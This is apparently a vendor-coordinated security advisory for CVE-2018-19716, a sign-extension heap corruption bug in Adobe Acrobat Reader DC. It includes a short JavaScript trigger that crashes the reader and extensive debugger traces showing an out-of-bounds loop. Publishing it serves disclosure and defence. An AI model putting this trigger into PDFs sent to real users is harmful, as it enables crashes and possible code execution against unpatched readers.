CVE-2018-19716
A specific JavaScript code embedded in a PDF file can lead to a heap corruption when opening a PDF document in Adobe Acrobat Reader DC 2019.8.20071. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.
Adobe Acrobat Reader DC 2019.8.20071
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-194: Unexpected Sign Extension
Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a big user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.
Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface.
An incorrect integer size promotion leads to heap corruption while executing the following code:
var r = new RegExp(Array(32769).join(String.fromCharCode(24)));
app.activeDocs[0].getField('mydata')['value'] = r;
In the above code, creating a regular expression with a very large string value results in an allocation of a large chunk of memory. The corruption happens due to specific size of allocated memory while executing the second line. If we place a breakpoint at AcroForm!DllUnregisterServer+0x130390
we can observe the following:
Breakpoint 5 hit
eax=00008000 ebx=00000000 ecx=00000000 edx=00000001 esi=0a2b28c0 edi=00000000
eip=6957aa79 esp=00cfbc08 ebp=00cfbc64 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
AcroForm!DllUnregisterServer+0x130390:
6957aa79 6bc914 imul ecx,ecx,14h
1:009> uu eip
AcroForm!DllUnregisterServer+0x130390:
6957aa79 6bc914 imul ecx,ecx,14h [1]
6957aa7c 895dd0 mov dword ptr [ebp-30h],ebx
6957aa7f 034db8 add ecx,dword ptr [ebp-48h] [2]
6957aa82 395908 cmp dword ptr [ecx+8],ebx
6957aa85 7e17 jle AcroForm!DllUnregisterServer+0x1303b5 (6957aa9e)
6957aa87 8bf3 mov esi,ebx
6957aa89 8b4104 mov eax,dword ptr [ecx+4]
6957aa8c 66291470 sub word ptr [eax+esi*2],dx
1:009> uu
AcroForm!DllUnregisterServer+0x1303a7:
6957aa90 43 inc ebx
6957aa91 0fbff3 movsx esi,bx
6957aa94 3b7108 cmp esi,dword ptr [ecx+8]
6957aa97 7cf0 jl AcroForm!DllUnregisterServer+0x1303a0 (6957aa89)
6957aa99 8b45bc mov eax,dword ptr [ebp-44h]
6957aa9c 33db xor ebx,ebx
6957aa9e 47 inc edi [3]
6957aa9f 0fbfcf movsx ecx,di [4]
1:009> uu
AcroForm!DllUnregisterServer+0x1303b9:
6957aaa2 3bc8 cmp ecx,eax [5]
6957aaa4 7cd3 jl AcroForm!DllUnregisterServer+0x130390 (6957aa79)
6957aaa6 8b7dd4 mov edi,dword ptr [ebp-2Ch]
6957aaa9 8b75dc mov esi,dword ptr [ebp-24h]
6957aaac a188b1d169 mov eax,dword ptr [AcroForm!DllUnregisterServer+0x8d0a9f (69d1b188)]
6957aab1 68e1932c69 push offset AcroForm!PlugInMain+0x7bf35 (692c93e1)
6957aab6 53 push ebx
6957aab7 895de4 mov dword ptr [ebp-1Ch],ebx
1:009> dd ebp-0x48
00cfbc1c 0b7a0020 00008000 0a79a4f4 00007ffe
00cfbc2c 0a6e7c30 0a038950 00000000 0a038950
00cfbc3c 00000001 0a2b28c0 00000001 00008000
00cfbc4c 00008001 00007ffe 00cfbc08 00cfbce8
00cfbc5c 698625d9 ffffffff 00cfbc70 6957bc00
00cfbc6c 00cfc0e0 00000000 69375b0c 00cfc110
00cfbc7c 00cfc0d8 00cfc0d8 00cfbcf4 00cfc4f8
00cfbc8c 69375938 00cfc380 00cfc384 5a92c663
1:009> !heap -p -a poi(ebp-0x48) [6]
address 0b7a0020 found in
_HEAP @ 200000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0b7a0018 14200 0000 [00] 0b7a0020 a0000 - (busy VirtualAlloc)
In the above debugging output at [1] we can see ecx
being used as an index into a structure, each time multiplied by 0x14. Then at [2] a base address of the structure is added to ecx
from ebp-0x48
. Few operations are performed with this address into the structure and then at [3] we see edi
, which is used as a counter, increased and then immediately sign-extended into ecx
at [4] and then compared against loop max value in eax
at [5]. From heap debugging output we can see that the size of structure is 0xa0000 or 655360 bytes which corresponds to 20 times 32768, or 0x14 times 0x8000. Recall the size of string passed to regular expression constructor. Value of loop guard, eax
at [5], shows it to be 0x8000 which would limit the number of loop executions and contain memory accesses to the limits of the structure. The vulnerability lies in the fact that loop counter value in di
is sign extended into ecx
at [4]. If we continue the execution for 0x8000 loops, we can see the following:
1:009> bp AcroForm!DllUnregisterServer+0x130390 0x7fff
breakpoint 5 redefined
1:009> g
Breakpoint 5 hit
eax=00008000 ebx=00000000 ecx=00007fff edx=00000001 esi=00000001 edi=00007fff
eip=6957aa79 esp=00cfbc08 ebp=00cfbc64 iopl=0 nv up ei ng nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000287
AcroForm!DllUnregisterServer+0x130390:
6957aa79 6bc914 imul ecx,ecx,14h
1:009> t
...
1:009> t
eax=00008000 ebx=00000000 ecx=0b84000c edx=00000001 esi=00000001 edi=00008000
eip=6957aa9f esp=00cfbc08 ebp=00cfbc64 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
AcroForm!DllUnregisterServer+0x1303b6:
6957aa9f 0fbfcf movsx ecx,di [7]
1:009> t
eax=00008000 ebx=00000000 ecx=ffff8000 edx=00000001 esi=00000001 edi=00008000
eip=6957aaa2 esp=00cfbc08 ebp=00cfbc64 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
AcroForm!DllUnregisterServer+0x1303b9:
6957aaa2 3bc8 cmp ecx,eax [8]
Continuing the execution above to the point where the counter in edi
is incremented past the size of 0x8000, we see at [7] that sign extension turns ecx
into 0xffff8000 , instead of 0x8000 as is expected by the comparison at [8]. Comparison between signed and unsigned values in ecx
and eax
results in a wrong jump and the loop continues execution, accessing out of bound memory and causing further heap corruption.
Continuing the execution in this case results in the following crash:
1:009> bd 5
1:009> g
(1120.1990): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00008000 ebx=00000000 ecx=0b793000 edx=00000001 esi=00000001 edi=0000f598
eip=6957aa82 esp=00cfbc08 ebp=00cfbc64 iopl=0 nv up ei pl nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010207
AcroForm!DllUnregisterServer+0x130399:
6957aa82 395908 cmp dword ptr [ecx+8],ebx ds:002b:0b793008=????????
As we can tell from the value in edi
above, the loop continued accessing out of bounds memory until it hit an unallocated page. By precisely controlling the contents of the memory directly adjacent to the large chunk of memory allocated by the regular expression object, it is possible to further corrupt the heap which could possibly result in arbitrary code execution.
2018-11-05 - Vendor Disclosure
2018-12-11 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.